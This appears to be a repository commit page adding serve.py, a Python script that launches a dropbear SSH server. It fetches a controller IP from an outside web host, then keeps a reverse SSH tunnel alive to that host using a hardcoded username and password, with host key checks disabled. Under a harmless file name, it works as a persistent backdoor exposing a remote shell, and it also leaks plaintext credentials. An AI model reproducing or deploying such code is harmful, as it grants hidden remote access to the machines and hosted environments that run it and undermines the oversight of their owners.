Create serve.py
Browse files
serve.py
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
remote_port = '2243'
|
| 2 |
+
remote_ip = ''
|
| 3 |
+
remote_user = 'alvin'
|
| 4 |
+
ssh_password = 'alvin3@2007y'
|
| 5 |
+
local_port = '2222'
|
| 6 |
+
ssh_connect_port = ''
|
| 7 |
+
|
| 8 |
+
import subprocess
|
| 9 |
+
import time
|
| 10 |
+
import threading
|
| 11 |
+
|
| 12 |
+
|
| 13 |
+
def get_remote_ip():
|
| 14 |
+
if remote_ip:
|
| 15 |
+
return remote_ip
|
| 16 |
+
cmd = [
|
| 17 |
+
"curl", "-s", "-A", "DeepNote/Linux", "-b", "__test=4a82a04919803c605ab4d54f0fcf4b10; filemanager=2a020f883de6b7378f1367fd31ad4f7a", "http://jee3y.ct.ws/ip.txt"
|
| 18 |
+
]
|
| 19 |
+
try:
|
| 20 |
+
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
|
| 21 |
+
return result.stdout.strip()
|
| 22 |
+
except subprocess.CalledProcessError as e:
|
| 23 |
+
print(f"Failed to get remote IP: {e}")
|
| 24 |
+
return None
|
| 25 |
+
|
| 26 |
+
def start_ssh_tunnel():
|
| 27 |
+
port_to_connect = ssh_connect_port if ssh_connect_port else "22"
|
| 28 |
+
|
| 29 |
+
while True:
|
| 30 |
+
ip = get_remote_ip()
|
| 31 |
+
if not ip:
|
| 32 |
+
print("Could not get remote IP. Retrying in 30s...")
|
| 33 |
+
time.sleep(30)
|
| 34 |
+
continue
|
| 35 |
+
|
| 36 |
+
print(f"Attempting to connect to {ip} on port {port_to_connect}...")
|
| 37 |
+
ssh_cmd = [
|
| 38 |
+
"sshpass", "-p", ssh_password, "ssh",
|
| 39 |
+
"-p", port_to_connect,
|
| 40 |
+
"-o", "StrictHostKeyChecking=no",
|
| 41 |
+
"-o", "UserKnownHostsFile=/dev/null",
|
| 42 |
+
"-o", "ExitOnForwardFailure=yes",
|
| 43 |
+
"-o", "ConnectTimeout=10",
|
| 44 |
+
"-o", "ServerAliveInterval=30",
|
| 45 |
+
"-o", "ServerAliveCountMax=3",
|
| 46 |
+
"-N", "-T",
|
| 47 |
+
f"-R0.0.0.0:{remote_port}:localhost:{local_port}",
|
| 48 |
+
f"{remote_user}@{ip}"
|
| 49 |
+
]
|
| 50 |
+
try:
|
| 51 |
+
subprocess.run(ssh_cmd)
|
| 52 |
+
except Exception as e:
|
| 53 |
+
print(f"SSH command failed: {e}")
|
| 54 |
+
|
| 55 |
+
print("Connection failed or ended. Retrying in 30s...")
|
| 56 |
+
time.sleep(30)
|
| 57 |
+
|
| 58 |
+
threading.Thread(target=start_ssh_tunnel, daemon=True).start()
|
| 59 |
+
|
| 60 |
+
subprocess.Popen(["dropbear", "-p", local_port])
|
| 61 |
+
print("SSH reverse tunnel loop started in background.")
|